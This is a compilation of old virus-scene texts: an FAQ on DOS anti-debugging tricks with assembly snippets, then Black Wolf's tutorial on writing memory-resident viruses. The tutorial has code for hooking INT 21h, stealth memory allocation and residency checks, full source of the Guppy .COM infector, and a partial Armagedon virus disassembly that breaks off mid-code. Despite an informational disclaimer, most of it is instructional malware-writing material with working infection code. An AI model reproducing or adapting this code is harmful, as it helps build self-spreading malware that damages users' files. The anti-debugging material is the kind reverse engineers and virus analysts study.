> >

Frequently Asked Questions About Computer Viruses - Part 7

Anti Debugging Tricks


Inbar Raz

Release number 2

Today's anti debugging tricks devide into two categories:

1. Preventive actions;
2. Self-modifying code.

Most debugging tricks, as for today, are used within viruses, in order to
avoid dis-assembly of the virus, as it will be exampled later in this file.
Another big part of anti debugging tricks is found with software protection
programs, what use them in order to make the cracking of the protection

1. Preventive actions:

Preventive actions are, basically, actions that the program takes in order
to make the user unable to dis-assemble the code or trace it while running.

1.1. Interrupt disable:

Interrupt disable is probably the most common form of anti-debugging
trick. It can be done in several ways:

1.1.1. Hardware masking of interrupt:

In order to avoid tracing of a code, one usually disables the
interrupt via the 8259 Interrupt Controller, addressed by read/write
actions to port 21h. The 8259 Interrupt Controller controls the IRQ
lines. This means that any IRQ between 0 and 7 may be disabled by
this action. Bit 0 is IRQ0, bit 1 is IRQ1 etc. Since IRQ1 is the
keyboard interrupt, you may disable the keyboard without the
debugger being able to bypass it.


CS:0100 E421 IN AL,21
CS:0102 0C02 OR AL,02
CS:0104 E621 OUT 21,AL

Just as a side notice, the keyboard may be also disabled by
commanding the Programmable Perepheral Interface (PPI), port 61h.


CS:0100 E461 IN AL,61
CS:0102 0C80 OR AL,80
CS:0104 E661 OUT 61,AL

1.1.2. Software masking of interrupt:

This is quite an easy form of anti-debugging trick. All you have
to do is simply replace the vectors of interrupts debuggers use/any
other interrupt you will not be using or expecting to happen. Do not
forget to restore the original vectors when you are finished.
It is adviseable to use manual change of vector, as shown below,
rather than to change it using interrupt 21h service 25h, because
any debugger that has gained control of interrupt 21h may replace
your vector with the debugger's. The example shows an interception
of interrupt 03h - the breakpoint interrupt.


CS:0100 EB04 JMP 0106
CS:0102 0000 ADD [BX+SI],AL
CS:0104 0000 ADD [BX+SI],AL
CS:0106 31C0 XOR AX,AX
CS:0108 8EC0 MOV ES,AX
CS:010A 268B1E0C00 MOV BX,ES:[000C]
CS:010F 891E0201 MOV [0102],BX
CS:0113 268B1E0E00 MOV BX,ES:[000E]
CS:0118 891E0401 MOV [0104],BX
CS:011C 26C7064C000000 MOV Word Ptr ES:[000C],0000
CS:0123 26C7064E000000 MOV Word Ptr ES:[000E],0000

1.1.3. Vector manipulation

This method involves manipulations of the interrupt vectors,
mainly for proper activation of the algorithm. Such action, as
exampled, may be used to decrypt a code (see also 2.1), using data
stored ON the vectors. Ofcourse, during normal operation of the
program, vectors 01h and 03h are not used, so unless you are trying
to debug such a program, it works fine.


CS:0100 31C0 XOR AX,AX
CS:0102 8ED0 MOV SS,AX
CS:0104 BC0600 MOV SP,0006
CS:0107 8B0E0211 MOV CX,[1102]
CS:010B 50 PUSH AX
CS:010C 21C8 AND AX,CX
CS:010E 01C5 ADD BP,AX
CS:0110 58 POP AX
CS:0111 E2F8 LOOP 010B

1.1.4. Interrupt replacement

This is a really nasty trick, and it should be used ONLY if you
are ABSOLUTELY sure that your programs needs no more debugging. What
it does is simply copy the vectors of some interrupts you will be
using, say 16h and 21h, onto the vectors of interrupt 01h and 03h,
that do not occure during normal operation of the program. If the
user wants to debug the program, he would have to search for every
occurance of INT 01, and replace it with the appropriate INT


CS:0100 FA CLI
CS:0101 31C0 XOR AX,AX
CS:0103 8EC0 MOV ES,AX
CS:0105 26A18400 MOV AX,ES:[0084]
CS:0109 26A30400 MOV ES:[0004],AX
CS:010D 26A18600 MOV AX,ES:[0086]
CS:0111 26A30600 MOV ES:[0006],AX
CS:0115 B44C MOV AH,4C
CS:0117 CD01 INT 01

1.2. Time watch:

This may be a less common method, but it is usefull against debuggers
that disable all interrupts except for the time that the program is
executed, such as Borland's Turbo Debugger. This method simply retains
the value of the clock counter, updated by interrupt 08h, and waits in an
infinite loop until the value changes. Another example is when you mask
the timer interrupt by ORing the value INed from port 21h with 01h and
then OUTing it back, thus disabling the IRQ0 - Timer interrupt. Note that
this method is usefull only against RUN actions, not TRACE/PROCEED ones.


CS:0100 2BC0 SUB AX,AX
CS:0102 FB STI
CS:0103 8ED8 MOV DS,AX
CS:0105 8A266C04 MOV AH,[046C]
CS:0109 A06C04 MOV AL,[046C]
CS:010E 74F9 JZ 0109

1.3. Fool the debugger:

This is a very nice technique, that works especially and only on those
who use Turbo Debugger or its kind. What you do is init a jump to a
middle of an instruction, whereas the real address actually contains
another opcode. If you work with a normal step debugger such as Debug or
SymDeb, it won't work since the debugger jumps to the exact address of
the jump, and not to the beginning of an instruction at the closest
address, like Turbo Debugger.


CS:0100 E421 IN AL,21
CS:0104 EB02 JMP 0108
CS:0106 C606E62100 MOV Byte Ptr [21E6],00
CS:010B CD20 INT 20

Watch this:

CS:0108 E621 OUT 21,AL

1.4. Cause debugger to stop execution:

This is a technique that causes a debugger to stop the execution of a
certain program. What you need to do is to put some INT 3 instructions
over the code, at random places, and any debugger trying to run will stop
there. Since this techniqu causes the CPU to stop executing the program,
and therefore clear the Prefetch Instruction Queue, it is adviseable to
use this techinque in conjunction with the PIQ trick, 2.2.2. Note that
the example shows how to use these two tricks together.


CS:0100 B97502 MOV CX,0275
CS:0103 BE9001 MOV SI,0190
CS:0106 89F7 MOV DI,SI
CS:0109 C70610013473 MOV Word Ptr [0110],7334
CS:010F CC INT 3
CS:0110 2406 AND AL,06
CS:0113 C70610012406 MOV Word Ptr [0110],0624
CS:0119 E2ED LOOP 0108

1.5. Halt TD386 V8086 mode:

This is a nice way to fool Turbo Debugger's V8086 module (TD386). It is
baed on the fact that TD386 does not use INT 00h to detect division by
zero (or register overrun after division, which is treated by the
processor in the same way as in case of division by zero). When TD386
detects a division fault it aborts, reporting about the faulty
division. In real mode (even under a regular debugger), a faulty DIV
instruction will cause INT 00h to be called. Therefore, pointing INT 00h
to the next instruction, will recover from the faulty DIV.

Note: It is very important to restore INT 00h's vector. Otherwise, the
next call to INT 00h will cause the machine to hang.


CS:0100 31C0 XOR AX,AX
CS:0102 8ED8 MOV DS,AX
CS:0104 C70600001201 MOV WORD PTR [0000],0112
CS:010A 8C0E0200 MOV [0002],CS
CS:010E B400 MOV AH,00
CS:0110 F6F4 DIV AH
CS:0112 B8004C MOV AX,4C00
CS:0115 CD21 INT 21

1.6. Halt any V8086 process:

Another way of messing TD386 is fooling it into an exception.
Unfortunately, this exception will also be generated under any other
program, running at V8086 mode. The exception is exception #13, and its
issued interrupt is INT 0Dh - 13d. The idea is very similar to the
divide by zero trick: Causing an exception, when the exception interrupt
points to somewhere in the program's code. It will always work when the
machine is running in real mode, but never under the V8086 mode.

Note: It is very important to restore the original interrupt vectors.
Otherwise, the next exception will hang the machine.


CS:0100 31C0 XOR AX,AX
CS:0102 8ED8 MOV DS,AX
CS:0104 C70634001301 MOV WORD PTR [0034],0113
CS:010A 8C0E3600 MOV [0036],CS
CS:0113 B8004C MOV AX,4C00
CS:0116 CD21 INT 21

2. Self-modifying code:

2.1. Encryptive/decryptive algorithm:

The first category is simply a code, that has been encrypted, and has
been added with a decryption routine. The trick here is that when a
debugger sets up a breakpoint, it simply places the opcode CCh (INT 03h)
in the desired address, and once that interrupt is executed, the debugger
regains control of things. If you try to set a breakpoint AFTER the
decryption algorithm, what is usually needed, you will end up putting an
opcode CCh in a place where decryption action is taken, therefore losing
your original CCh in favour of whatever the decryption algorithm makes.
The following example was extracted from the Haifa virus. If you try to
set a breakpoint at address CS:0110, you will never reach that address,
since there is no way to know what will result from the change. Note that
if you want to make the tracing even harder, you should start the
decryption of the code from its END, so it takes the whole operation
until the opcode following the decryption routine is decrypted.


CS:0100 BB7109 MOV BX,0971
CS:0103 BE1001 MOV DI,0110
CS:0106 91 XCHG AX,CX
CS:0107 91 XCHG AX,CX
CS:0108 2E803597 XOR Byte Ptr CS:[DI],97
CS:010C 47 INC DI
CS:010E 75F6 JNZ 0106
CS:0110 07 POP ES
CS:0111 07 POP ES

2.2. Self-modifying code:

2.2.1. Simple self-modification:

This method implements the same principle as the encryption
method: Change the opcode before using it. In the following example,
we change the insruction following the call, and therefore, if you
try to trace the entire call ('P'/Debug or F8/Turbo Debugger), you
will not succeed, since the debugger will put its CCh on offset 104h,
but when the routine runs, it overwrites location 104h.


CS:0100 E80400 CALL 0107
CS:0103 CD20 INT 20
CS:0105 CD21 INT 21
CS:0107 C7060301B44C MOV Word Ptr [0103],4CB4
CS:010D C3 RET

Watch this:

CS:0103 B44C MOV AH,4C

2.2.2. Prefetch Instruction Queue (PIQ) manipulation:

This method is a bit similar to (1.3), but it fools ANY debugger,
or any other process that executes one operation at a time. The PIQ
is an area within the CPU, that pre-fethces, ie. takes in advance,
instructions from memory, so when they need to be executed, it
would take less time to get them, since they are already in the CPU.
The PIQ length ranges from 6 or 4 in old computers, up to as high as
25 in new ones. What the trick does is change the FOLLOWING opcode
to something meaningless. If you are debugging, then the change will
take place BEFORE the instructions is executed or fetched. If you
run the program NORMALLY, by the time you change the opcode, it will
have already been fetched.


CS:0100 B97502 MOV CX,0275
CS:0103 BE9001 MOV SI,0190
CS:0106 89F7 MOV DI,SI
CS:0109 C7060F012406 MOV Word Ptr [010F],0624
CS:010F 3473 XOR AL,73
CS:0112 C7060F012406 MOV Word Ptr [010F],0624
CS:0118 E2EE LOOP 0108

Watch this:

CS:010F 2406 AND AL,06


Thanks to Yogo and Ford Prefect for helping me assemble this list.

Any new ideas and updates should be sent to: Inbar Raz, 2:401/100.1 or

Inbar Raz

? Black Wolf's Guide to Memory Resident Viruses. ?

Disclaimer: This file is for informational purposes only! It was written
to provide an understanding of the methods viruses can use to
to protect against viruses and disassemble them as well as to
write them. It is at the possesser's discretion to decide
which. By using this file, the user accepts all responsibilities
for whatever he or she might do.

A memory resident program (or TSR for Terminate and Stay Resident)
is a program that leaves at least a portion of itself in memory after it
terminates and waits for a particular even to take place before it 'activates'
again. With DOS, this generally means that it hooks interrupts (BIOS/DOS
function calls) and waits for a specific keystroke, I/O command, time, etc.
While this can be useful in many types of programs, it is especially important
in viral programming. A virus that remains in memory can spread faster and
protect itself through 'stealth' abilities that non-resident viruses cannot
have. This text will take you through several methods of memory resident
programming for viruses, assuming a decent level of competency in 8086/8088
assembly language.

For starters, we need to know what a program has to do to go
memory resident. This can be summed up in 3 basic steps:

1.) Allocate some memory that will NOT be deallocated after the
virus terminates. This is necessary so that the virus will not
be overwritten.

2.) Copy the virus to the allocated memory.

3.) Set up a method in which the virus will eventually be activated,
generally by hooking BIOS or DOS interrupts.

The first thing that we need to know is how interrupts work.
Interrupts are mainly BIOS and DOS subroutines (functions) that can be
called by a program (example: Int 21h is the main file I/O interrupt).
To use them, all one has to do is set up the registers for the desired purpose
and execute an INT XX, where XX is the interrupt number between 1 and 255.
What the computer does first when it hits this instruction is push all of the
flags (PUSHF), then it consults a table at the bottom of memory and executes
a far call to the address of the appropriate interrupt. When the interrupt
is done, it returns to the program by executing an IRET (interrupt return),
which is a combination of a RETF and a POPF. To set the interrupt, then,
merely takes changing that table. If you want to return to the original
handler after your code runs, however, you must also save the old values
and jump there when your code is done. This is absolutely neccessary with
handlers like INT 21h, for otherwise nothing that DOS does through this will
get done, and the computer will crash.

The Interrupt Table is a table of addresses for the interrupt handler
code of each interrupt. It is located at 0000:0000 and ends at 0000:0400.
Each entry is 4 bytes long, consisting of a word long pointer to the offset
of the handler followed by a word pointer to the segment of the handler. This
setup allows you to calculate the address of an interrupt address by taking the
entry number and multiplying it by 4. For example, the Int 21h address
(the major DOS Interrupt) is located at 0000:0084 (21h*4). There is a space
at the end of the interrupt table allocated for user programs to set up their
own interrupts and for later expansion. This is basically the upper half,
starting at 0000:0200. On my system at least, this is generally free up until
about 0000:03A0 or so, leaving 1A0h bytes for you to use if you want for
whatever. This will be look into in more depth later on.....

There are two basic ways to hook interrupts. The first, using DOS,
is done with Int 21h, functions 35h (Get Interrupt Address) and 25h (Set Int).
First what you want to do is call Int 21h with the following setup:

AH = 35h (Get Interrupt Vector)
AL = Interrupt Number

It returns the following:

AX = Unchanged
ES = Interrupt Handler Segment
BX = Interrupt Handler Offset

What you want to do then is store the ES:BX address so that it can
be used later, and then set the interrupt to point to your handler. To do
this call Int 21h again as follows:

AH = 25h (Set Interrupt Vector)
AL = Interrupt Number
DS = New Handler Segment
DX = New Handler Offset

Now that your interrupt is set, you have to do something with it. Here
is a basic model for an interrupt hooker with a handler that returns control
to the original handler after it is done:

;Assume that DS = CS as in a .COM file.

mov ax,3521h ;Get Old Int 21h Address
int 21h

mov word ptr [Int_21_Segment],es ;Save old address
mov word ptr [Int_21_Offset],bx

mov ax,2521h
mov dx,offset Int_21_Handler ;DS:DX = Int_21_Handler
int 21h ;Set the new handler

;*********** Continue on with program, exit, whatever

cmp ah,4bh ;Check for activation
je execute_a_program ;conditions by looking
cmp ah,3dh ;at the function numbers
je open_a_file ;of Int 21 that you wish
;to intercept. Make sure
;to save any registers that
;you change inside the
;various handlers!!!!!!
db 0eah ;This simulates a far jump
Int_21_Offset dw 0 ;to the old interrupt handler.
Int_21_Segment dw 0 ;(0EAh is code for a far jmp.)

Notice the trick in Go_Int_21 with the 0EAh. What that does is
simulate a far jump to the old handler once your handler is done. A couple of
other things that one must do when an interrupt is hooked are as follows:

1.) Make sure to push/pop any registers that get changed!!!!!
Otherwise the results are unpredictable.

2.) Make sure that your interrupt handler does not call the function
that is has hooked directly. I.E. if you hook Int 21h, function
3dh to open files, do not put an Int 21h, function 3dh inside
the handler for it, as it will call the handler again, and again,
and again...... Instead, call the interrupt indirectly by
calling the ORIGINAL address with code like the following:

pushf ;push the flags and perform
call dword ptr [Int_21_Offset] ;a far call to simulate an
;INT call.

The other way to hook interrupts is by directly changing the table.
This can be done very easily, but you MUST remember to disable the interrupts
before doing so, then enable them afterwords. Otherwise, the interrupt could
possibly be called when only half of the address was set, creating unpredictable
results. See the following example:

Set_DS_to_Table: ;DS = 0
xor ax,ax
mov ds,ax

mov ax,offset Int_21_Handler ;ax = Handler Offset
mov bx,cs ;bx = Handler Segment

cli ;clear interrupts
xchg ax,word ptr ds:[84h] ;Set AX = Old handler offset
;and set new offset.
xchg bx,word ptr ds:[86h] ;Set BX = Old handler segment
;and set new segment.
mov word ptr cs:[Int_21_Offset],ax
mov word ptr cs:[Int_21_Segment],bx
sti ;restore interrupts

push cs
pop ds ;restore DS = CS

Okay, now that we know exactly how interrupts work, let's take a look
at some ways to allocate memory for the virus. What we need is a space large
enough for our virus to fit in and work that will not be deallocated after
an infected program is terminated. There are several ways in which to do this.
One can use Int 27h as a regular program would, but this would cause the
entire program to halt, alerting any user with a brain that something is wrong.
One can, however, make a virus that either re-executes the host so that the
termination is not seen (as Armageddon the Greek does) or one can make it
only go TSR the first time (duh) and allow the program to execute fine
afterwards (like Guppy and Little Brother do). The methods for these are
pretty simple and can be gained by examining the disassemblies of Guppy and
Armageddon included with this file.

The next simple method to go memory resident is to find a blank area
in memory that will NOT be used and use it. For really small virii, one
can use the top half of the interrupt table (mentioned earlier) in the
manner that the Micro-128 virus does (see disassembly). Other locations,
such as video memory (0b000/0b800) can be used as well if one keeps it on an
unused page (risky, but 0b900 will work for a while....). Leapfrog, for
instance, stores itself in one of DOS's disk buffers. The only code for
this is to copy the virus to the unused memory and make sure to point
the handler to the NEW copy.

One slight variation on this is the code that boot sector viruses
such as Stoned and Michelangelo use to allocate memory. Before DOS has
booted (and even later, as we will talk about later) BIOS stores the
amount of usable lower memory in a word located at 0:413h in memory. This
word contains the number of usable K, starting at 0000:0000 and ending (at
the highest) at A000:0000. One can reserve space for a virus by subtracting
the number by the number of K needed (round up). Then, to find the segment
address, multiply the new value by 64 (40h) to convert it into paragraphs.
This is your free area. Copy the virus to here, then set the interrupts
to point to its handlers. When DOS boots it will reserve this area as
allocated and CHKDSK will return 1K less low memory (assuming you use 1K).
Here is an example of this technique:

xor ax,ax
mov ds,ax
mov ax,word ptr ds:[413h] ;ax = memory in K

dec ax
mov word ptr ds:[413h],ax ;lower memory by 1K

mov cl,06
shl ax,cl ;AX = AX * 64
mov es,ax ;ES:0 is now the beginning
;of free memory.

Unfortunately, the last method only works before DOS is loaded. While
this is great for bootsector and multi-partite viruses, it doesn't work very
well for file-oriented viruses that load under DOS. For these, we need to
know more about the memory structures that DOS uses, namely the Memory
Control Blocks (MCB's) and the Program Segment Prefix (PSP).

When a file is loaded to be executed under DOS, DOS first takes
the memory it will allocate to the file and starts it with a 16 byte header
called a Memory Control Block. This header tells DOS the owner of the
block of memory, the size of the block, and whether it is the last in a chain
of MCB's or not. DOS the loads a 256 byte table called the Program Segment
Prefix directly after the MCB. The PSP is basically a table of information
for DOS book-keeping, including the location of the top of usable memory
by DOS. This also holds the default DTA, FCB's, and command lines for programs
Directly after the PSP, DOS loads the program to be run. If it is a .COM file,
it will be loaded and run where CS:0 = the beginning of the PSP, making the
beginning of the file start at an offset of 100h. If it is an .EXE file, the
beginning of the file will be loaded at CS:0, where CS is 10h higher than the
PSP's segment. This is important to remember when trying to modify the PSP
from a program. The MCB, as said above, is 10h lower in memory than the
PSP, or one segment lower. Full tables of each structure are shown below.

The format of a Memory Control Block is as follows:
? Memory Control Blocks ?
?Offset Name Length (Bytes) Description ?
? ?
? 0 Location 1 M=Last Block, Z=Not Last ?
? 1 Owner 2 Segment of start of Memory?
? 3 Size 2 Length in Paragraphs ?
? 5 Unknown 3 Supposedly Reserved ?
? 8 Owner's Name 8 Name. Appears in mem maps?

The format of DOS's Program Segment Prefix is as follows:
? Program Segment Prefix ?
?Offset Name Length (Hex Bytes) Description ?
? ?
?00 Terminate 2 CD20 (Int 20) ?
?02 Top of Memory 2 Usually set at A000. ?
?-- Sometimes needed to ?
?-- lower DOS's memory for ?
?-- a virus. ?
?04 Unknown 1 Supposedly Reserved. ?
?05 CPM stuff 5 Obsolete ?
?0A Exit to DOS 4 Int 22h handler (IP:CS)?
?0E Control C Handler 4 Int 23h handler (IP:CS)?
?12 Critical Error 4 Int 24h handler (IP:CS)?
?16 Parent ID 2 Segment of Parent Prog.?
?18 Handle Table 14 One byte/handle ?
?2C Environment Segment 2 Segment of Envir. Vars.?
?2E User Stack 4 Stack address ?
?32 File Handle Count 2 Size of Handle Table ?
?34 Handle Table Address 4 If not at 12h ?
?38 Unknown 1c Supposedly Reserved ?
?50 Dos Call and RET 3 INT 21, RET ?
?53 Unknown 9 Supposedly Reserved ?
?5C FCB 1 10 File Control Block ?
?6C FCB 2 10 "" ?
?7C Unknown 4 Reserved ?
?80 Command Line Length 1 Also used as the ?
?81 Command Line 7f default DTA. ?

Using this information, there are two basic ways to go memory resident.
The first is to tell DOS that its top of memory is one or two K less, lowering
the MCB memory to correspond, then lowering the BIOS memory as shown before.
This method allows the virus to go memory resident using a small amount
of code, and it prevents it from showing up on MEM's list of memory holders.
Unfortunately, a decrease in lower memory is quite obvious using programs
like CHKDSK and MEM. The other method is to create another memory block than
the host's, setting the owner to either itself or, most commonly, COMMAND.COM.
This can be done either using DOS memory functions, as most viruses do, or
it can be done directly by manipulating the MCB's themselves.

The first and simplest method is to lower DOS's top of memory field
in the PSP, shrink the file's MCB, and lower the memory allocated to DOS by
BIOS. The end result of this is an area at the top of low memory that is
unallocated and can be used. One of the disadvantages of this is that the
size of the block MUST be allocated in chunks of 1K because the BIOS memory
field stores size in 1K blocks. This method is quite similair to that used
in the bootsector example above. See the example below:

;This example assumes .COM file structure where DS = CS = PSP.

mov ax,word ptr ds:[02] ;Get Top of Memory (PSP)
sub ax,40h ;Lower it by 1K (40h paragraphs)
mov word ptr ds:[02],ax ;And Replace Value.

mov ax,ds ;AX = CS = DS
dec ax ;Get Segment of MCB
mov ds,ax ;And put into DS

sub word ptr ds:[03],40h ;Subtract 1K from host's MCB
;allocation (paragraphs)
xor ax,ax
mov ds,ax ;DS = 0
dec word ptr ds:[413h] ;Allocate 1K from Bios

mov ax,word ptr ds:[413h] ;Get memory in 1K
mov cl,6
shl ax,cl ;change to segment (multiply
;by 64 or 40h)

;AX now equals free segment
;of memory

mov es,ax ;Set ES = Free Segment
Using DOS to allocate memory for you is often the method of choice
for virus writers. To do this, first find the maximum block size avaliable
by calling INT 21h, function 4Ah (Modify Memory Allocation) with the requested
memory (In paragraphs) set to 0ffffh. Since this is impossible, it will
return a carry flag and put the maximum size in BX. Subtract this amount
by the number of paragraphs that you want (+1 for safety) and then execute
another function 4Ah with the new value for BX. This will shrink the block
and give you enough space for the virus at the top of memory. Allocate memory
for the virus using Int 21h, function 48h (Allocate Memory) with BX set
to the number of paragraphs you want (no +1 this time). This will return
the segment of free memory in AX. All that is left now is to mark the new
block as the last in the chain by setting the first byte in its MCB to 'Z',
and change its owner. The owner is usually a word value corresponding to the
program's PSP (MCB Seg+1). This will work, or you can set it to a reserved
value like 08 (I/O). After this is done, if you want, you can set the
owner's name field starting at MCB_SEG:0008 to any eight byte or smaller name.
This name will appear in memory mapping programs such as MEM and SI.
mov ah,4ah
mov bx,0ffffh ;Request too much
int 21h ;memory - maximum size
;returned in BX.
sub bx,((end_vir-start_vir+0fh)/10h)*2+1 ;Shrink Block by

Shrink_Block: ;BX = Paragraphs
mov ah,4ah ; Requested
int 21h ;ES = Segment of Block

mov ah,48h
mov bx,((end_vir-start_vir+0fh)/10h)*2 ;Allocate (virsize*2)
int 21h ;Returns AX = Free Seg

dec ax
mov es,ax
inc ax

mov byte ptr es:[0],'Z' ;Mark as last
;in chain
;Note: The number in the Owner field is usually the segment of the program's
; PSP. Certain values, however, have special meanings. 08, for example,
; indicates I/O or Command.COM as the owner. This can be useful for
; deceptions. The only requirement of this is that the owner will NOT
; be deallocated.

mov word ptr es:[1],ax ;Set owner as itself.

;Note: This is not necessary, but it can be used for many purposes.

mov di,08 ;ES:DI = owner name
;DOS 4+
mov si,offset virname
push cs
pop ds
mov cx,4
repnz movsw ;Copy name into field.
;This will show up in programs like MEM and
;System Information.

............. ;Continue program, hook interrupts, etc.

virname db 'reMEMber'

Direct Manipulation is basically the same in the end result as
DOS manipulation, but the steps are executed (obviously) completely
differently. One advantage of this method is that one can determine whether
or not to allow DOS to display the block the virus is in (see notes in code).
Since the steps are basically the same, see the code for how each is done.
mov ax,ds
dec ax
mov ds,ax ;DS = MCB
mov bx,word ptr ds:[03] ;Get Block Size

sub bx,((end_vir-start_vir+0fh)/10h)*2+1 ;Shrink Block by
mov word ptr ds:[03h],bx ;Lower Block Size

;Note: If you want your program to show up in a memory map, set this byte
; to 'M', meaning that it is NOT the last block. Otherwise, set it
; to 'Z' so that MEM and like programs will not trace past it.
mov byte ptr ds:[0],'M' ;Mark host block's
;location in chain.

Lower_Top_Of_Memory: ;Lower field in PSP
sub word ptr ds:[12h],((end_vir-start_vir+0fh)/10h)*2+1

Point_ES_to_New_MCB: ;Get New top of mem
mov ax,word ptr ds:[12] ;from PSP.
mov es,ax ;ES = new segment.

mov byte ptr es:[0],'Z' ;Mark as last
;in chain
mov word ptr es:[1],ax ;Set owner as itself.

One thing that a virus must do to remain unnoticed to any degree is
to recognize if it has already been installed so that it does not continue
to re-install itself, taking up more and more memory. The simplest way to
do this is to hook an interrupt and check for a certain unique value, or
an installation check, and return another unique value if one is received to
tell the executing virus that it is already in memory. For example, one
can hook INT 21h and wait for AX to be equalled to DEADh on entry. In such a
case, one could save the value and IRET. If the virus is not installed, the
result will be AX = DE00. The executing virus would then check to see if the
value was correct and, if so, return control to the host without re-installing

See the code below:

mov ax,0deadh
int 21h ;Is it installed?
cmp ax,0deadh
je Already_Installed ;Yes? jump to Already_Installed
Install: ;otherwise install it.

cmp ah,4bh
je execute
cmp ah,3dh
je open
cmp ax,0deadh ;Is it an install check?
je Install_Check ;Yes, jump to Install_Check.
db 0ea
Int_21_IP dw 0
Int_21_CS dw 0

Install_Check: ;Save value in AX

One point that has been more or left out up until now is how to copy
the virus. The simplest (and the only REAL way) is to set ES:DI to the newly
allocated space, DS:SI to the start of the virus, and CX to the length of the
virus in words (or bytes if you wish to use movsb). Then execute a REPNZ
MOVSW and you've got it. Note: When using Int 27, this is uneccessary because
it puts the program into memory at it's original location.

;* The Guppy Virus *
;* The Guppy virus is a relatively simple, very small, resident .COM *
;*infector. It uses the standard way for a regular program to go resident *
;*(i.e. Int 27) which makes the infected program terminate the first time *
;*run. After that, however, infected files will run perfectly. This virus*
;*uses interesting methods to restore the storage bytes, as well as a *
;*strange technique to restore control to an infected file after it has *
;*already gone memory resident. *
;* *
;*Note: The Guppy virus was originally assembled with an assembler other *
;* than Tasm, so to keep it exactly the same some commands must be *
;* entered directly as individual bytes. In these cases, the command *
;* is commented out and the bytes are found below it. *
;* *

.model tiny
.radix 16

org 100h
call Get_Offset

pop si ;SI = offset of vir +
mov ax,3521h
mov bx,ax
int 21h ;Get Int 21 Address

mov ds:[si+Int_21_Offset-103],bx ;Save old Int 21
mov ds:[si+Int_21_Segment-103],es

;mov dx,si ;Bytes vary between assemblers
db 89,0f2

;add dx,offset Int_21_Handler-104
db 83,0c2,1f

mov ah,25h
int 21h ;Set Int 21

inc dh ;Add 100h bytes to go resident
;from handler
push cs
pop es
int 27h ;Terminate & stay resident
;DX+1 = end of area to go res.

cmp ax,4B00h ;Is call a Load & Execute?
je Infect ;Yes? Jump Infect

cmp al,21h ;Might it be a residency check?
jne Go_Int_21 ;No? Restore control to Int 21

;cmp ax,bx ;Are AX and BX the same?
db 39,0d8

jne Go_Int_21 ;No, Restore control to Int 21

push word ptr [si+3dh] ;3dh = offset of Storage_Bytes -

;This gets the first word of
;storage bytes, which is then
;popped to CS:100 to restore it.

mov bx,offset ds:[100] ;100 = Beginning of COM
pop word ptr [bx]

mov cl,[si+3Fh] ;Restore third storage byte.
mov [bx+2],cl

pop cx
push bx
iret ;Jump back to Host program.

Storage_Bytes db 0, 0, 0

push ax
push bx
push dx
push ds
mov ax,3D02h
int 21h ;Open File for Read/Write Access

xchg ax,bx
call Get_Offset_Two

pop si
push cs
pop ds
mov ah,3F
mov cx,3
sub si,10 ;Set SI=Storage_Bytes

;mov dx,si
db 89,0f2

int 21h ;Read first 3 bytes of file

cmp byte ptr [si],0E9h ;Is the first command a jump?
jne Close_File ;No? Jump to Close_File
mov ax,4202h
xor dx,dx
xor cx,cx
int 21h ;Go to end of file

xchg ax,di
mov ah,40h
mov cl,98h ;Virus Size

;mov dx,si
db 89,0f2

sub dx,40h ;Beginning of virus
int 21h ;Append virus to new host

mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;Go back to beginning of file

mov cl,3

;sub di,cx
db 29,0cf

mov [si+1],di
mov ah,40h

;mov dx,si
db 89,0f2

int 21h ;Write 3 byte jump to file

mov ah,3Eh
int 21h

pop ds
pop dx
pop bx
pop ax
db 0EAh ;Go On With Int 21
Int_21_Offset dw ?
Int_21_Segment dw ?

end start

;* The Armagedon Virus *
;* *
;*Dial is controlled off of the new INT 08 handler when virus goes TSR. *
;*Examine the way the virus goes memory resident using INT 27, this is an *
;*interesting method that I had not seen before in a virus. Also, look *
;*at its rather strange procedure for infecting files. *
;* *
;* Disassembly by Black Wolf *
;* *
;* (The 911 virus is directly related to this one, as the only differences *
;* are in the numbers dialed and the text messages) *
.model tiny ;Sets assembler into Tiny mode
.radix 16 ;Sets numbers to hexidecimal
org 100

;* Loading Jump *
jmp Virus_Entry


;* This is where the infected file would usually be. *

;* Int 21 Handler *
cmp ah,0E0 ;Is this an installation check?
jne not_check ;If not, go to not_check
mov ax,0DADA ;If so, return 0DADA
popf ;and exit interrupt.

cmp ah,0E1 ;0E1=request for virus' seg. address
jne not_seg_req ;Not E1? then go to not_seg_req
mov ax,cs ;Move virus' address into AX
popf ;and exit interrupt.
cmp ax,4B00 ;Load and Execute?
je Infect ;Go Infect

; jmp dword ptr cs:[Int_21_Off]
db 2e,0ff,2e,22,01 ;Jump to Int 21 (done)

;* Main Data Section *
Int_21_Off dw 138dh
Int_21_Seg dw 029a

Int_08_Off dw 022Bh
Int_08_Seg dw 70

Ready_Byte db 0
Timing_Counter db 8
save_time_a db 10
save_time_b db 9
save_date db 34
Bytes_Written dw 0
waste_byte db 0
Character_Count db 0
Data_Ready db 0
Ports_Initialized db 0

com db 'COM'
handle dw 5
file_size dw 2
db 0, 0
mem_allocated dw 1301
save_ss dw 12AC
save_sp dw 0FFFE
filename_seg dw 9B70
filename_off dw 3D5Bh
attribs dw 20
file_date dw 0EC2
file_time dw 6E68
db 0,0,81,0
cs_save_3 dw 12AC
db 5C,0
cs_save_1 dw 12AC
db 6C,0
cs_save_2 dw 12AC

push ds bx si cx ax dx bp es di ;Save Registers

cld ;Clear direction
push dx ds ;Save Filename Address
xor cx,cx ;Zero CX for use as counter
mov si,dx ;Move Filename Offset to SI

mov al,[si] ;Get letter from Filename
cmp al,0 ;Are we at the end of the
je Check_Filename ;Filename? Yes? Go to loc_7
inc cx ;inc Count
inc si ;inc pointer to next char
jmp short Find_End_Of_Filename

add dx,cx ;add filename length to
;start of filename address
sub dx,3 ;Subtract 3 for extension
mov si,offset com ;com='COM'
mov di,dx ;set di=dx to Check

;Next few lines Check for

cmp byte ptr [di-3],4E ;Is the second to last letter
;an 'N'?
jne setup_check ;If not, it's not COMMAND,
;Go to loc_8
cmp byte ptr [di-2],44 ;Is the last letter a 'D'?
je Infect_Error ;If so, it is COMMAND,
;Go to Infect_Error.
mov cx,3 ;Setup loop

mov al,cs:[si]
cmp al,[di]
jne Infect_Error
inc si ;Check for 'COM' Extension
inc di ;If so, infect, otherwise
loop check_if_com ;Go to Infect_Error

pop ds
pop dx ;Restore original filename
push dx ;address to DS:DX, then
push ds ;push them back onto stack

mov si,dx
mov dl,0

cmp byte ptr [si+1],3A ;Is the second letter a
; ':'? I.E. is the file on
;another drive?

jne Get_Free_Disk_Space ;Nope? Go Get_Free_Disk_Space

mov dl,[si] ;Get drive number if the file
and dl,0F ;is on another drive.

mov ah,36
int 21h ;Get free drive space.
cmp ax,0FFFF
